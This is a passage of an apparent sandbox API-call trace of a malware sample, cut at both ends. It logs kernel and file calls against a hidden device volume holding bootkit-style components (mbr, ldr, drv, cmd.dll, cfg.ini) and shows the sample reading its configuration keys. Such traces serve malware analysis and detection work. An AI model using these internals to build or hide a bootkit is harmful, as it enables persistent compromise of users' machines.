[0120.040] IdePortDispatch () returned 0x103 [0120.040] KeWaitForMutexObject () returned 0x0 [0120.040] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.040] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.040] KeLeaveCriticalRegion () [0120.040] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.040] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.040] KeEnterCriticalRegion () [0120.040] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.040] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bfc000 [0120.040] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.040] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.040] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.040] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.040] IdePortDispatch () returned 0x103 [0120.041] KeWaitForMutexObject () returned 0x0 [0120.041] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.041] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.041] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.041] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.041] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.041] IdePortDispatch () returned 0x103 [0120.041] KeWaitForMutexObject () returned 0x0 [0120.041] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.041] KeLeaveCriticalRegion () [0120.041] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.042] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.042] KeEnterCriticalRegion () [0120.042] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.042] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.042] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.042] KeLeaveCriticalRegion () [0120.042] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.042] KeEnterCriticalRegion () [0120.042] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.042] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.042] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc2da0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.042] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.042] KeLeaveCriticalRegion () [0120.042] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.042] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.042] KeEnterCriticalRegion () [0120.042] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.042] ExFreePoolWithTag (P=0xfffffa8003bc2ce0, Tag=0x0) [0120.042] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.042] KeLeaveCriticalRegion () [0120.042] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.042] ReleaseMutex (hMutex=0xf0) returned 1 [0120.042] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0120.042] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0120.042] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0120.042] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.042] KeEnterCriticalRegion () [0120.042] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.042] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.042] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.042] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.042] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.042] IdePortDispatch () returned 0x103 [0120.042] KeWaitForMutexObject () returned 0x0 [0120.042] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.043] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.043] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.043] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.043] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.043] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.043] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.043] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.043] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.043] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.043] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.043] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.043] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.043] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.043] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.043] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.043] KeLeaveCriticalRegion () [0120.043] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.043] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0120.043] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.043] KeEnterCriticalRegion () [0120.043] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.043] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.043] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.043] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.043] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.043] IdePortDispatch () returned 0x103 [0120.043] KeWaitForMutexObject () returned 0x0 [0120.043] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.043] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.043] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.043] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.043] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.043] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.043] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.043] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.043] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.043] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.043] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.043] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.043] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.043] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.043] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.043] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.044] KeLeaveCriticalRegion () [0120.044] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.044] ReleaseMutex (hMutex=0x100) returned 1 [0120.044] Sleep (dwMilliseconds=0x2bf20) [0120.050] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6ac16dd0, dwHighDateTime=0x1d24fa4)) [0120.050] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0120.050] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.051] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.051] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.051] KeEnterCriticalRegion () [0120.051] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.051] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.051] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.051] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.051] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.051] IdePortDispatch () returned 0x103 [0120.051] KeWaitForMutexObject () returned 0x0 [0120.051] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.051] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.051] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.051] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.051] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.051] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc2e30 [0120.051] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.051] KeLeaveCriticalRegion () [0120.051] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.051] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.051] KeEnterCriticalRegion () [0120.051] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.051] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.051] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.051] KeLeaveCriticalRegion () [0120.051] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.051] KeEnterCriticalRegion () [0120.051] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.051] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.051] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.051] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.051] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.051] IdePortDispatch () returned 0x103 [0120.052] KeWaitForMutexObject () returned 0x0 [0120.052] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.052] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.052] KeLeaveCriticalRegion () [0120.052] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.052] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.052] KeEnterCriticalRegion () [0120.052] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.052] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bff000 [0120.052] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.052] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.052] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.052] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.052] IdePortDispatch () returned 0x103 [0120.052] KeWaitForMutexObject () returned 0x0 [0120.052] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.052] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.052] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.052] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.052] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.052] IdePortDispatch () returned 0x103 [0120.052] KeWaitForMutexObject () returned 0x0 [0120.053] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.053] KeLeaveCriticalRegion () [0120.053] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.053] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.053] KeEnterCriticalRegion () [0120.053] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.053] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.053] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.053] KeLeaveCriticalRegion () [0120.053] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.053] KeEnterCriticalRegion () [0120.053] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.053] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.053] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdbb70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.053] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.053] KeLeaveCriticalRegion () [0120.053] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.053] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.053] KeEnterCriticalRegion () [0120.053] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.053] ExFreePoolWithTag (P=0xfffffa8003bc2e30, Tag=0x0) [0120.053] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.053] KeLeaveCriticalRegion () [0120.053] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.053] ReleaseMutex (hMutex=0xf0) returned 1 [0120.053] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.054] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.054] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.054] KeEnterCriticalRegion () [0120.054] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.054] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.054] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.054] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.054] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.054] IdePortDispatch () returned 0x103 [0120.054] KeWaitForMutexObject () returned 0x0 [0120.054] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.054] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.054] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.054] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.054] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.054] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcd2c0 [0120.054] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.054] KeLeaveCriticalRegion () [0120.054] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.054] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.054] KeEnterCriticalRegion () [0120.054] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.054] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.054] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.054] KeLeaveCriticalRegion () [0120.054] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.054] KeEnterCriticalRegion () [0120.054] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.054] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.054] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.054] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.054] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.054] IdePortDispatch () returned 0x103 [0120.054] KeWaitForMutexObject () returned 0x0 [0120.055] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.055] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.055] KeLeaveCriticalRegion () [0120.055] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.055] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.055] KeEnterCriticalRegion () [0120.055] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.055] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c84000 [0120.055] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.055] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.055] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.055] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.055] IdePortDispatch () returned 0x103 [0120.055] KeWaitForMutexObject () returned 0x0 [0120.055] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.055] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.055] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.055] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.055] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.055] IdePortDispatch () returned 0x103 [0120.055] KeWaitForMutexObject () returned 0x0 [0120.056] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.056] KeLeaveCriticalRegion () [0120.056] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.056] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.056] KeEnterCriticalRegion () [0120.056] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.056] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.056] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.056] KeLeaveCriticalRegion () [0120.056] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.056] KeEnterCriticalRegion () [0120.056] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.056] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.056] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcd380, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.056] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.056] KeLeaveCriticalRegion () [0120.056] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.056] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.056] KeEnterCriticalRegion () [0120.056] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.056] ExFreePoolWithTag (P=0xfffffa8003bcd2c0, Tag=0x0) [0120.056] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.056] KeLeaveCriticalRegion () [0120.056] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.056] ReleaseMutex (hMutex=0xf0) returned 1 [0120.057] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.057] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0120.057] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: 